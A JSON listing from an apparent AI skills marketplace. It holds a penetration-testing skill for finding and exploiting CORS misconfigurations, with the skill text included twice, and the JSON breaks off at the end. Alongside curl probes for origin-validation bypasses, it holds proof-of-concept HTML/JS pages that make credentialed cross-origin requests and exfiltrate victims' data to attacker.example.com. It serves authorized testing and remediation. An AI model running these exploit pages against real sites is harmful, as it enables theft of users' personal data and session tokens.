[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71BM17G6MY48WQ2WF1ATS84":3,"skill-same:01M71BM17G6MY48WQ2WF1ATS84":73},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":52,"commitSha":53,"skillDirectory":54,"forksCount":55,"repositoryHtmlUrl":56,"repositoryHomepageUrl":6,"ownerHtmlUrl":57,"ownerBlogUrl":6,"ownerDescription":58,"updatedAt":59,"install":60,"resources":72},"01M71BM17G6MY48WQ2WF1ATS84","cyber-testing-cors-misconfiguration",null,"Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.","nexuslinkproductions\u002Fyuri-os","nexuslinkproductions","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F273246263?v=4","01M718YX9NZRCW50B59B8ZVDKN","Marcel Spatz","01M718YXAQ7530F4B1VKN6SFQV",2,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-testing-cors-misconfiguration\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"testing","misconfiguration","cors","testing cors misconfiguration","cyber testing cors misconfiguration","application-security","domain","pr","web-application-security","penetration","origin","security","owasp","data","NIST","apache","subdomain","access","false","cybersecurity","2026-11-10 10:12:30",false,"---\nname: cyber-testing-cors-misconfiguration\ndescription: \"Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.\"\nsource: mukul975\u002FAnthropic-Cybersecurity-Skills\nlicense: Apache-2.0\nauthorized_lab: false\norigin_frontmatter: \"name: testing-cors-misconfiguration | description: Identifying and exploiting Cross-Origin Resource Sharing misconfigurations |   that allow unauthorized cross-domain data access and credential theft during security |   assessments. | domain: cybersecurity | subdomain: web-application-security | tags: | - penetration-testing | - cors | - web-security | - owasp | - same-origin-policy | - burpsuite | version: '1.0' | author: mahipal | license: Apache-2.0 | nist_csf: | - PR.PS-01 | - ID.RA-01 | - P\"\nhide: true\n---\n\n> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Testing CORS Misconfiguration\n\n## When to Use\n\n- During authorized penetration tests when assessing API endpoints for cross-origin access controls\n- When testing single-page applications that make cross-origin API requests\n- For evaluating whether sensitive data can be exfiltrated from a victim's browser session\n- When assessing microservice architectures with multiple domains sharing data\n- During security audits of applications using CORS headers for cross-domain communication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying Origin headers\n- **Browser with DevTools**: For observing CORS behavior in real browser context\n- **Attacker web server**: For hosting CORS exploitation PoC pages\n- **curl**: For manual CORS header testing\n- **Python HTTP server**: For hosting exploit pages locally\n\n## Workflow\n\n### Step 1: Identify CORS Configuration on Target Endpoints\n\nCheck all API endpoints for CORS response headers.\n\n```bash\n# Test with a foreign Origin header\ncurl -s -I \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check for CORS headers in response:\n# Access-Control-Allow-Origin: https:\u002F\u002Fevil.example.com  (BAD: reflects any origin)\n# Access-Control-Allow-Origin: *  (BAD if with credentials)\n# Access-Control-Allow-Credentials: true  (allows cookies)\n# Access-Control-Allow-Methods: GET, POST, PUT, DELETE\n# Access-Control-Allow-Headers: Authorization, Content-Type\n# Access-Control-Expose-Headers: X-Custom-Header\n\n# Test multiple endpoints\nfor endpoint in \u002Fapi\u002Fuser\u002Fprofile \u002Fapi\u002Fuser\u002Fsettings \u002Fapi\u002Ftransactions \\\n  \u002Fapi\u002Fadmin\u002Fusers \u002Fapi\u002Faccount\u002Fbalance; do\n  echo \"=== $endpoint ===\"\n  curl -s -I \\\n    -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n    \"https:\u002F\u002Fapi.target.example.com$endpoint\" | \\\n    grep -i \"access-control\"\n  echo\ndone\n```\n\n### Step 2: Test Origin Reflection and Validation Bypass\n\nDetermine how the server validates the Origin header.\n\n```bash\n# Test 1: Arbitrary origin reflection\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 2: Null origin\ncurl -s -I -H \"Origin: null\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 3: Subdomain matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.target.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 4: Prefix\u002Fsuffix matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\ncurl -s -I -H \"Origin: https:\u002F\u002Feviltarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 5: Protocol downgrade\ncurl -s -I -H \"Origin: http:\u002F\u002Ftarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 6: Special characters in origin\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com%60.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 7: Wildcard with credentials check\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fpublic\" | grep -iE \"access-control-allow-(origin|credentials)\"\n# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure\n```\n\n### Step 3: Test Preflight Request Handling\n\nAssess how the server handles OPTIONS preflight requests.\n\n```bash\n# Send preflight request\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: Authorization, Content-Type\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check:\n# Access-Control-Allow-Methods: should only list needed methods\n# Access-Control-Allow-Headers: should only list needed headers\n# Access-Control-Max-Age: preflight cache duration (long = risky)\n\n# Test if dangerous methods are allowed\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: DELETE\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-allow-methods\"\n\n# Test if preflight is cached too long\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: GET\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-max-age\"\n# max-age > 86400 (1 day) allows prolonged abuse after policy change\n```\n\n### Step 4: Craft CORS Exploitation Proof of Concept\n\nBuild an HTML page that exploits the CORS misconfiguration to steal data.\n\n```html\n\u003C!-- cors-exploit.html - Host on attacker server -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>CORS PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>CORS Exploitation Proof of Concept\u003C\u002Fh1>\n\u003Cdiv id=\"result\">\u003C\u002Fdiv>\n\u003Cscript>\n\u002F\u002F Exploit: Read victim's profile data cross-origin\nvar xhr = new XMLHttpRequest();\nxhr.onreadystatechange = function() {\n  if (xhr.readyState === 4) {\n    \u002F\u002F Data successfully stolen cross-origin\n    document.getElementById('result').innerText = xhr.responseText;\n\n    \u002F\u002F Exfiltrate to attacker server\n    var exfil = new XMLHttpRequest();\n    exfil.open('POST', 'https:\u002F\u002Fattacker.example.com\u002Fcollect', true);\n    exfil.setRequestHeader('Content-Type', 'application\u002Fjson');\n    exfil.send(xhr.responseText);\n  }\n};\nxhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', true);\nxhr.withCredentials = true;  \u002F\u002F Include victim's cookies\nxhr.send();\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```html\n\u003C!-- Exploit using fetch API -->\n\u003Cscript>\nfetch('https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', {\n  credentials: 'include'\n})\n.then(response => response.json())\n.then(data => {\n  \u002F\u002F Steal sensitive data\n  fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n    method: 'POST',\n    body: JSON.stringify(data)\n  });\n  console.log('Stolen data:', data);\n});\n\u003C\u002Fscript>\n```\n\n### Step 5: Exploit Null Origin Vulnerability\n\nIf `Origin: null` is allowed, exploit via sandboxed iframes.\n\n```html\n\u003C!-- null-origin-exploit.html -->\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Null Origin CORS Exploit\u003C\u002Fh1>\n\u003C!--\n  Sandboxed iframe sends requests with Origin: null\n  If server reflects Access-Control-Allow-Origin: null with credentials,\n  data can be exfiltrated\n-->\n\u003Ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\"\n  srcdoc=\"\n  \u003Cscript>\n    var xhr = new XMLHttpRequest();\n    xhr.onload = function() {\n      \u002F\u002F Send stolen data to parent or attacker server\n      fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n        method: 'POST',\n        body: xhr.responseText\n      });\n    };\n    xhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile');\n    xhr.withCredentials = true;\n    xhr.send();\n  \u003C\u002Fscript>\n\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- Alternative: data: URI for null origin -->\n\u003C!-- Open in browser: data:text\u002Fhtml,\u003Cscript>...\u003C\u002Fscript> -->\n```\n\n### Step 6: Test for Internal Network Access via CORS\n\nCheck if CORS allows access from internal origins that could be leveraged via XSS.\n\n```bash\n# Test internal\u002Fdevelopment origins\nINTERNAL_ORIGINS=(\n  \"http:\u002F\u002Flocalhost\"\n  \"http:\u002F\u002Flocalhost:3000\"\n  \"http:\u002F\u002Flocalhost:8080\"\n  \"http:\u002F\u002F127.0.0.1\"\n  \"http:\u002F\u002F192.168.1.1\"\n  \"http:\u002F\u002F10.0.0.1\"\n  \"https:\u002F\u002Fstaging.target.example.com\"\n  \"https:\u002F\u002Fdev.target.example.com\"\n  \"https:\u002F\u002Ftest.target.example.com\"\n)\n\nfor origin in \"${INTERNAL_ORIGINS[@]}\"; do\n  echo -n \"$origin: \"\n  curl -s -I -H \"Origin: $origin\" \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n    grep -i \"access-control-allow-origin\" | tr -d '\\r'\n  echo\ndone\n\n# If internal origins are allowed and have XSS:\n# 1. Find XSS on http:\u002F\u002Fsubdomain.target.example.com\n# 2. Use XSS to make CORS request to api.target.example.com\n# 3. Exfiltrate data via the XSS + CORS chain\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Same-Origin Policy** | Browser security model preventing scripts from one origin accessing data from another |\n| **CORS** | Mechanism allowing servers to specify which origins can access their resources |\n| **Origin Reflection** | Server mirrors the request Origin header in the ACAO response header (dangerous) |\n| **Null Origin** | Special origin value from sandboxed iframes, data URIs, and redirects |\n| **Preflight Request** | OPTIONS request sent before certain cross-origin requests to check permissions |\n| **Credentialed Requests** | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |\n| **Wildcard CORS** | `Access-Control-Allow-Origin: *` allows any origin but prohibits credentials |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Intercepting requests and modifying Origin headers |\n| **CORScanner** | Automated CORS misconfiguration scanner (`pip install corscanner`) |\n| **cors-scanner** | Node.js-based CORS testing tool |\n| **Browser DevTools** | Monitoring CORS errors and network requests in real browser context |\n| **Python http.server** | Hosting CORS exploit PoC pages |\n| **OWASP ZAP** | Automated CORS misconfiguration detection |\n\n## Common Scenarios\n\n### Scenario 1: Full Origin Reflection\nThe API reflects any Origin header in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`. Any website can read authenticated API responses, stealing user data.\n\n### Scenario 2: Null Origin Allowed\nThe server allows `Origin: null` with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.\n\n### Scenario 3: Subdomain Wildcard Trust\nThe CORS policy allows `*.target.example.com`. An attacker finds XSS on `forum.target.example.com` and uses it to make cross-origin requests to `api.target.example.com`, stealing user data through the trusted subdomain.\n\n### Scenario 4: Regex Bypass on Origin Validation\nThe server uses regex `target\\.example\\.com` to validate origins, but fails to anchor the regex. `attackertarget.example.com` matches and is allowed access.\n\n## Output Format\n\n```\n## CORS Misconfiguration Finding\n\n**Vulnerability**: CORS Origin Reflection with Credentials\n**Severity**: High (CVSS 8.1)\n**Location**: All \u002Fapi\u002F* endpoints on api.target.example.com\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### CORS Configuration Observed\n| Header | Value |\n|--------|-------|\n| Access-Control-Allow-Origin | [Reflects request Origin] |\n| Access-Control-Allow-Credentials | true |\n| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |\n| Access-Control-Expose-Headers | X-Auth-Token |\n\n### Origin Validation Results\n| Origin Tested | Reflected | Credentials |\n|---------------|-----------|-------------|\n| https:\u002F\u002Fevil.com | Yes | Yes |\n| null | Yes | Yes |\n| http:\u002F\u002Flocalhost | Yes | Yes |\n| https:\u002F\u002Fevil.target.example.com | Yes | Yes |\n\n### Impact\n- Any website can read authenticated API responses in victim's browser\n- User profile data (email, phone, address) exfiltrable\n- Session tokens exposed via X-Auth-Token header\n- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)\n\n### Recommendation\n1. Implement a strict allowlist of trusted origins\n2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin\n3. Do not allow Origin: null with credentials\n4. Validate origins with exact string matching, not regex substring matching\n5. Set Access-Control-Max-Age to a reasonable value (600 seconds)\n```\n","> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Testing CORS Misconfiguration\n\n## When to Use\n\n- During authorized penetration tests when assessing API endpoints for cross-origin access controls\n- When testing single-page applications that make cross-origin API requests\n- For evaluating whether sensitive data can be exfiltrated from a victim's browser session\n- When assessing microservice architectures with multiple domains sharing data\n- During security audits of applications using CORS headers for cross-domain communication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying Origin headers\n- **Browser with DevTools**: For observing CORS behavior in real browser context\n- **Attacker web server**: For hosting CORS exploitation PoC pages\n- **curl**: For manual CORS header testing\n- **Python HTTP server**: For hosting exploit pages locally\n\n## Workflow\n\n### Step 1: Identify CORS Configuration on Target Endpoints\n\nCheck all API endpoints for CORS response headers.\n\n```bash\n# Test with a foreign Origin header\ncurl -s -I \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check for CORS headers in response:\n# Access-Control-Allow-Origin: https:\u002F\u002Fevil.example.com  (BAD: reflects any origin)\n# Access-Control-Allow-Origin: *  (BAD if with credentials)\n# Access-Control-Allow-Credentials: true  (allows cookies)\n# Access-Control-Allow-Methods: GET, POST, PUT, DELETE\n# Access-Control-Allow-Headers: Authorization, Content-Type\n# Access-Control-Expose-Headers: X-Custom-Header\n\n# Test multiple endpoints\nfor endpoint in \u002Fapi\u002Fuser\u002Fprofile \u002Fapi\u002Fuser\u002Fsettings \u002Fapi\u002Ftransactions \\\n  \u002Fapi\u002Fadmin\u002Fusers \u002Fapi\u002Faccount\u002Fbalance; do\n  echo \"=== $endpoint ===\"\n  curl -s -I \\\n    -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n    \"https:\u002F\u002Fapi.target.example.com$endpoint\" | \\\n    grep -i \"access-control\"\n  echo\ndone\n```\n\n### Step 2: Test Origin Reflection and Validation Bypass\n\nDetermine how the server validates the Origin header.\n\n```bash\n# Test 1: Arbitrary origin reflection\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 2: Null origin\ncurl -s -I -H \"Origin: null\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 3: Subdomain matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.target.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 4: Prefix\u002Fsuffix matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\ncurl -s -I -H \"Origin: https:\u002F\u002Feviltarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 5: Protocol downgrade\ncurl -s -I -H \"Origin: http:\u002F\u002Ftarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 6: Special characters in origin\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com%60.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 7: Wildcard with credentials check\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fpublic\" | grep -iE \"access-control-allow-(origin|credentials)\"\n# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure\n```\n\n### Step 3: Test Preflight Request Handling\n\nAssess how the server handles OPTIONS preflight requests.\n\n```bash\n# Send preflight request\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: Authorization, Content-Type\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check:\n# Access-Control-Allow-Methods: should only list needed methods\n# Access-Control-Allow-Headers: should only list needed headers\n# Access-Control-Max-Age: preflight cache duration (long = risky)\n\n# Test if dangerous methods are allowed\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: DELETE\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-allow-methods\"\n\n# Test if preflight is cached too long\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: GET\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-max-age\"\n# max-age > 86400 (1 day) allows prolonged abuse after policy change\n```\n\n### Step 4: Craft CORS Exploitation Proof of Concept\n\nBuild an HTML page that exploits the CORS misconfiguration to steal data.\n\n```html\n\u003C!-- cors-exploit.html - Host on attacker server -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>CORS PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>CORS Exploitation Proof of Concept\u003C\u002Fh1>\n\u003Cdiv id=\"result\">\u003C\u002Fdiv>\n\u003Cscript>\n\u002F\u002F Exploit: Read victim's profile data cross-origin\nvar xhr = new XMLHttpRequest();\nxhr.onreadystatechange = function() {\n  if (xhr.readyState === 4) {\n    \u002F\u002F Data successfully stolen cross-origin\n    document.getElementById('result').innerText = xhr.responseText;\n\n    \u002F\u002F Exfiltrate to attacker server\n    var exfil = new XMLHttpRequest();\n    exfil.open('POST', 'https:\u002F\u002Fattacker.example.com\u002Fcollect', true);\n    exfil.setRequestHeader('Content-Type', 'application\u002Fjson');\n    exfil.send(xhr.responseText);\n  }\n};\nxhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', true);\nxhr.withCredentials = true;  \u002F\u002F Include victim's cookies\nxhr.send();\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```html\n\u003C!-- Exploit using fetch API -->\n\u003Cscript>\nfetch('https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', {\n  credentials: 'include'\n})\n.then(response => response.json())\n.then(data => {\n  \u002F\u002F Steal sensitive data\n  fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n    method: 'POST',\n    body: JSON.stringify(data)\n  });\n  console.log('Stolen data:', data);\n});\n\u003C\u002Fscript>\n```\n\n### Step 5: Exploit Null Origin Vulnerability\n\nIf `Origin: null` is allowed, exploit via sandboxed iframes.\n\n```html\n\u003C!-- null-origin-exploit.html -->\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Null Origin CORS Exploit\u003C\u002Fh1>\n\u003C!--\n  Sandboxed iframe sends requests with Origin: null\n  If server reflects Access-Control-Allow-Origin: null with credentials,\n  data can be exfiltrated\n-->\n\u003Ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\"\n  srcdoc=\"\n  \u003Cscript>\n    var xhr = new XMLHttpRequest();\n    xhr.onload = function() {\n      \u002F\u002F Send stolen data to parent or attacker server\n      fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n        method: 'POST',\n        body: xhr.responseText\n      });\n    };\n    xhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile');\n    xhr.withCredentials = true;\n    xhr.send();\n  \u003C\u002Fscript>\n\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- Alternative: data: URI for null origin -->\n\u003C!-- Open in browser: data:text\u002Fhtml,\u003Cscript>...\u003C\u002Fscript> -->\n```\n\n### Step 6: Test for Internal Network Access via CORS\n\nCheck if CORS allows access from internal origins that could be leveraged via XSS.\n\n```bash\n# Test internal\u002Fdevelopment origins\nINTERNAL_ORIGINS=(\n  \"http:\u002F\u002Flocalhost\"\n  \"http:\u002F\u002Flocalhost:3000\"\n  \"http:\u002F\u002Flocalhost:8080\"\n  \"http:\u002F\u002F127.0.0.1\"\n  \"http:\u002F\u002F192.168.1.1\"\n  \"http:\u002F\u002F10.0.0.1\"\n  \"https:\u002F\u002Fstaging.target.example.com\"\n  \"https:\u002F\u002Fdev.target.example.com\"\n  \"https:\u002F\u002Ftest.target.example.com\"\n)\n\nfor origin in \"${INTERNAL_ORIGINS[@]}\"; do\n  echo -n \"$origin: \"\n  curl -s -I -H \"Origin: $origin\" \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n    grep -i \"access-control-allow-origin\" | tr -d '\\r'\n  echo\ndone\n\n# If internal origins are allowed and have XSS:\n# 1. Find XSS on http:\u002F\u002Fsubdomain.target.example.com\n# 2. Use XSS to make CORS request to api.target.example.com\n# 3. Exfiltrate data via the XSS + CORS chain\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Same-Origin Policy** | Browser security model preventing scripts from one origin accessing data from another |\n| **CORS** | Mechanism allowing servers to specify which origins can access their resources |\n| **Origin Reflection** | Server mirrors the request Origin header in the ACAO response header (dangerous) |\n| **Null Origin** | Special origin value from sandboxed iframes, data URIs, and redirects |\n| **Preflight Request** | OPTIONS request sent before certain cross-origin requests to check permissions |\n| **Credentialed Requests** | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |\n| **Wildcard CORS** | `Access-Control-Allow-Origin: *` allows any origin but prohibits credentials |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Intercepting requests and modifying Origin headers |\n| **CORScanner** | Automated CORS misconfiguration scanner (`pip install corscanner`) |\n| **cors-scanner** | Node.js-based CORS testing tool |\n| **Browser DevTools** | Monitoring CORS errors and network requests in real browser context |\n| **Python http.server** | Hosting CORS exploit PoC pages |\n| **OWASP ZAP** | Automated CORS misconfiguration detection |\n\n## Common Scenarios\n\n### Scenario 1: Full Origin Reflection\nThe API reflects any Origin header in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`. Any website can read authenticated API responses, stealing user data.\n\n### Scenario 2: Null Origin Allowed\nThe server allows `Origin: null` with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.\n\n### Scenario 3: Subdomain Wildcard Trust\nThe CORS policy allows `*.target.example.com`. An attacker finds XSS on `forum.target.example.com` and uses it to make cross-origin requests to `api.target.example.com`, stealing user data through the trusted subdomain.\n\n### Scenario 4: Regex Bypass on Origin Validation\nThe server uses regex `target\\.example\\.com` to validate origins, but fails to anchor the regex. `attackertarget.example.com` matches and is allowed access.\n\n## Output Format\n\n```\n## CORS Misconfiguration Finding\n\n**Vulnerability**: CORS Origin Reflection with Credentials\n**Severity**: High (CVSS 8.1)\n**Location**: All \u002Fapi\u002F* endpoints on api.target.example.com\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### CORS Configuration Observed\n| Header | Value |\n|--------|-------|\n| Access-Control-Allow-Origin | [Reflects request Origin] |\n| Access-Control-Allow-Credentials | true |\n| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |\n| Access-Control-Expose-Headers | X-Auth-Token |\n\n### Origin Validation Results\n| Origin Tested | Reflected | Credentials |\n|---------------|-----------|-------------|\n| https:\u002F\u002Fevil.com | Yes | Yes |\n| null | Yes | Yes |\n| http:\u002F\u002Flocalhost | Yes | Yes |\n| https:\u002F\u002Fevil.target.example.com | Yes | Yes |\n\n### Impact\n- Any website can read authenticated API responses in victim's browser\n- User profile data (email, phone, address) exfiltrable\n- Session tokens exposed via X-Auth-Token header\n- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)\n\n### Recommendation\n1. Implement a strict allowlist of trusted origins\n2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin\n3. Do not allow Origin: null with credentials\n4. Validate origins with exact string matching, not regex substring matching\n5. Set Access-Control-Max-Age to a reasonable value (600 seconds)\n```\n",{"hide":49,"name":5,"source":50,"license":15,"description":7,"authorized_lab":45,"origin_frontmatter":51},true,"mukul975\u002FAnthropic-Cybersecurity-Skills","name: testing-cors-misconfiguration | description: Identifying and exploiting Cross-Origin Resource Sharing misconfigurations |   that allow unauthorized cross-domain data access and credential theft during security |   assessments. | domain: cybersecurity | subdomain: web-application-security | tags: | - penetration-testing | - cors | - web-security | - owasp | - same-origin-policy | - burpsuite | version: '1.0' | author: mahipal | license: Apache-2.0 | nist_csf: | - PR.PS-01 | - ID.RA-01 | - P","main","4c6d8d65f3d6096e2fc25b0845e481dda73c2794",".claude\u002Fskills\u002Fcyber-testing-cors-misconfiguration",0,"https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions","Building deterministic AI governance and continuity systems. Workflow architect + visual storyteller","2026-11-14 03:05:17",{"source":8,"skillName":5,"commands":61,"prompt":71,"zipAvailable":49},[62,65,68],{"tool":63,"command":64},"npx","npx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-testing-cors-misconfiguration",{"tool":66,"command":67},"bunx","bunx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-testing-cors-misconfiguration",{"tool":69,"command":70},"pnpm","pnpm dlx skills add nexuslinkproductions\u002Fyuri-os --skill 